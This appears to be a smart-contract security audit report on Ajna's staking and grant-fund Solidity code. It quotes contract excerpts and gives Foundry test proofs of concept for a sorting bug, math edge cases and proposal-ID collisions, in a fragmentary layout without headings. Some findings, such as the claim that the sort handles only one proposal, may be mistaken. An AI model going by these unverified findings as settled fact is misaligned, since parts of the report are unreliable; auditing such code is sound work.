function stake( uint256 tokenId_ ) external override { address ajnaPool = PositionManager(address(positionManager)).poolKey(tokenId_); // check that msg.sender is owner of tokenId if (IERC721(address(positionManager)).ownerOf(tokenId_) != msg.sender) revert NotOwnerOfDeposit(); StakeInfo storage stakeInfo = stakes[tokenId_]; stakeInfo.owner = msg.sender; stakeInfo.ajnaPool = ajnaPool; uint256 curBurnEpoch = IPool(ajnaPool).currentBurnEpoch(); // record the staking epoch stakeInfo.stakingEpoch = uint96(curBurnEpoch); // initialize last time interaction at staking epoch stakeInfo.lastClaimedEpoch = uint96(curBurnEpoch); uint256[] memory positionIndexes = positionManager.getPositionIndexes(tokenId_); for (uint256 i = 0; i < positionIndexes.length; ) { uint256 bucketId = positionIndexes[i]; BucketState storage bucketState = stakeInfo.snapshot[bucketId]; // record the number of lps in bucket at the time of staking bucketState.lpsAtStakeTime = uint128(positionManager.getLP( tokenId_, bucketId )); // record the bucket exchange rate at the time of staking bucketState.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(bucketId)); // iterations are bounded by array length (which is itself bounded), preventing overflow / underflow unchecked { ++i; } } emit Stake(msg.sender, ajnaPool, tokenId_); // transfer LP NFT to this contract IERC721(address(positionManager)).transferFrom(msg.sender, address(this), tokenId_); // calculate rewards for updating exchange rates, if any uint256 updateReward = _updateBucketExchangeRates( ajnaPool, positionIndexes ); // transfer rewards to sender _transferAjnaRewards(updateReward); }
As per the docs, to avoid an overwhelming number of proposals, the slate of projects is filtered down to a manageable number during a screening stage. The screening stage lasts for the first 80 days of the cycle.
Every address holding Ajna tokens can use them to support any number of proposals, with each token supporting at most one project. At the end of the screening stage, the 10 proposals with the most support are deemed eligible to be funded.
Then, these 10 projects are then voted upon in the funding stage. This process happens in the screeningVote
function, which is supposed to sort the proposals by calling _insertionSortProposalsByVotes
.
The comments in the code claim that its "sorting 10 proposals", but that's actually not true - they are sorting just one of them.
Hence, the current implementation is wrong and won't sort the whole array, but just a single proposal. Here's a PoC to showcase the issue.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "forge-std/console.sol"; contract Sorting is Test { struct Proposal { uint256 votesReceived; } mapping(uint256 => Proposal) _standardFundingProposals; function setUp() public { for(uint256 i = 0; i < 10; i++) { _standardFundingProposals[i] = Proposal({ votesReceived: i }); } } function testSorting() public { uint256[] memory proposals = new uint256[](10); for(uint256 i = 0; i < 10; i++) { proposals[i] = i; } _insertionSortProposalsByVotes(proposals, 9); for(uint256 i = 0; i < 10; i++) { console.log("proposal %s: %s", i, _standardFundingProposals[proposals[i]].votesReceived); } } function _insertionSortProposalsByVotes( uint256[] memory proposals_, uint256 targetProposalId_ ) internal { while ( targetProposalId_ != 0 && _standardFundingProposals[proposals_[targetProposalId_]].votesReceived > _standardFundingProposals[proposals_[targetProposalId_ - 1]].votesReceived ) { // swap values if left item < right item uint256 temp = proposals_[targetProposalId_ - 1]; proposals_[targetProposalId_ - 1] = proposals_[targetProposalId_]; proposals_[targetProposalId_] = temp; unchecked { --targetProposalId_; } } } }
https://en.wikipedia.org/wiki/Insertion_sort
The comment here is wrong/misleading
/// @dev Mapping of `token id => ajna pool address` for which token was minted. mapping(uint256 => mapping(uint256 => Position)) internal positions;
The function is used to calculate the quadrating voting in grants.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "forge-std/console.sol"; library Maths { uint256 public constant WAD = 10**18; function abs(int x) internal pure returns (int) { return x >= 0 ? x : -x; } /** * @notice Returns the square root of a WAD, as a WAD. * @dev Utilizes the babylonian method: https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. * @param y The WAD to take the square root of. * @return z The square root of the WAD, as a WAD. */ function wsqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // convert z to a WAD z = z * 10**9; } function wmul(uint256 x, uint256 y) internal pure returns (uint256) { return (x * y + 10**18 / 2) / 10**18; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256) { return (x * 10**18 + y / 2) / y; } function min(uint256 x, uint256 y) internal pure returns (uint256) { return x <= y ? x : y; } /** @notice Raises a WAD to the power of an integer and returns a WAD */ function wpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : 10**18; for (n /= 2; n != 0; n /= 2) { x = wmul(x, x); if (n % 2 != 0) { z = wmul(z, x); } } } } contract Sorting is Test { function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } function testFuzz_Votes(int256 votesCast) public { uint256 voteCastSumSquare= Maths.wpow(toUint256(Maths.abs(votesCast)), 2); } }
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "forge-std/console.sol"; library Maths { uint256 public constant WAD = 10**18; function abs(int x) internal pure returns (int) { return x >= 0 ? x : -x; } /** * @notice Returns the square root of a WAD, as a WAD. * @dev Utilizes the babylonian method: https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. * @param y The WAD to take the square root of. * @return z The square root of the WAD, as a WAD. */ function wsqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // convert z to a WAD z = z * 10**9; } function wmul(uint256 x, uint256 y) internal pure returns (uint256) { return (x * y + 10**18 / 2) / 10**18; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256) { return (x * 10**18 + y / 2) / y; } function min(uint256 x, uint256 y) internal pure returns (uint256) { return x <= y ? x : y; } /** @notice Raises a WAD to the power of an integer and returns a WAD */ function wpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : 10**18; for (n /= 2; n != 0; n /= 2) { x = wmul(x, x); if (n % 2 != 0) { z = wmul(z, x); } } } } contract TestWmul is Test { function testFuzz_Math(uint256 x, uint256 y) public returns(uint256) { return Maths.wmul(x, y); } }
It's used in the RewardsManager to calculate rewards.
If a standard proposal with a specific proposal ID exists, the findMechanismOfProposal function will override any existing extraordinary proposal with the same ID. Consequently, the function will identify the proposal ID as belonging to a standard proposal, disregarding the presence of an extraordinary proposal with the same ID.
function findMechanismOfProposal( uint256 proposalId_ ) public view returns (FundingMechanism) { if (_standardFundingProposals[proposalId_].proposalId != 0) return FundingMechanism.Standard; else if (_extraordinaryFundingProposals[proposalId_].proposalId != 0) return FundingMechanism.Extraordinary; else revert ProposalNotFound(); } /// @inheritdoc IGrantFund function state( uint256 proposalId_ ) external view override returns (ProposalState) { FundingMechanism mechanism = findMechanismOfProposal(proposalId_); return mechanism == FundingMechanism.Standard ? _standardProposalState(proposalId_) : _getExtraordinaryProposalState(proposalId_); }
Its better to pass it as a parameter in the constructor
/** * @notice Ethereum mainnet address of the Ajna Token. */ address internal constant AJNA_TOKEN_ADDRESS = 0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079; /** * @notice Tokens that have been wrapped cannot be unwrapped. */ error UnwrapNotAllowed(); /** * @notice Only mainnet Ajna token can be wrapped. */ error InvalidWrappedToken(); constructor(IERC20 wrappedToken) ERC20("Burn Wrapped AJNA", "bwAJNA") ERC20Permit("Burn Wrapped AJNA") // enables wrapped token to also use permit functionality ERC20Wrapper(wrappedToken) { if (address(wrappedToken) != AJNA_TOKEN_ADDRESS) { revert InvalidWrappedToken(); } }
function testVotingPower() external { // 14 tokenholders self delegate their tokens to enable voting on the proposals _selfDelegateVoters(_token, _votersArr); vm.roll(_startBlock + 50); // start distribution period _startDistributionPeriod(_grantFund); // generate proposal targets address[] memory ajnaTokenTargets = new address[](1); ajnaTokenTargets[0] = address(_token); // generate proposal values uint256[] memory values = new uint256[](1); values[0] = 0; // generate proposal calldata bytes[] memory proposalCalldata = new bytes[](1); proposalCalldata[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder2, 1e18 ); // generate proposal message string memory description = "Proposal for Ajna token transfer to tester address"; // create and submit proposal TestProposal memory proposal = _createProposalStandard(_grantFund, _tokenHolder1, ajnaTokenTargets, values, proposalCalldata, description); // screening stage votes _screeningVote(_grantFund, _tokenHolder1, proposal.proposalId, 1 wei); _token.transfer(_tokenHolder5, _token.balanceOf(_tokenHolder1) - 0.0000000001e18); // skip forward to the funding stage vm.roll(_startBlock + 600_000); // check initial voting power uint256 votingPower = _getFundingVotes(_grantFund, _tokenHolder1); console.log(votingPower); }
When proposals are sorted for the screening stage, each time there is a new vote the list could get rearranged. The issue here is that if there are 12 proposals and the proposals in range 8-12 are with the same amount of screening votes, it would kick the 12th one. This leads to unfair advantage to the proposals that got votes first.
int indexInArray = _findProposalIndex(proposalId, currentTopTenProposals); uint256 screenedProposalsLength = currentTopTenProposals.length; // check if the proposal should be added to the top ten list for the first time if (screenedProposalsLength < 10 && indexInArray == -1) { currentTopTenProposals.push(proposalId); // sort top ten proposals _insertionSortProposalsByVotes(currentTopTenProposals, screenedProposalsLength); } else { // proposal is already in the array if (indexInArray != -1) { // re-sort top ten proposals to account for new vote totals _insertionSortProposalsByVotes(currentTopTenProposals, uint256(indexInArray)); } // proposal isn't already in the array else if(_standardFundingProposals[currentTopTenProposals[screenedProposalsLength - 1]].votesReceived < proposal_.votesReceived) { // @audit-info last 2 could be with same value, how do you decide which to kick? // replace the least supported proposal with the new proposal currentTopTenProposals.pop(); currentTopTenProposals.push(proposalId); // sort top ten proposals _insertionSortProposalsByVotes(currentTopTenProposals, screenedProposalsLength - 1); } }
#0 - c4-judge
2023-05-18T18:39:06Z
Picodes marked the issue as grade-a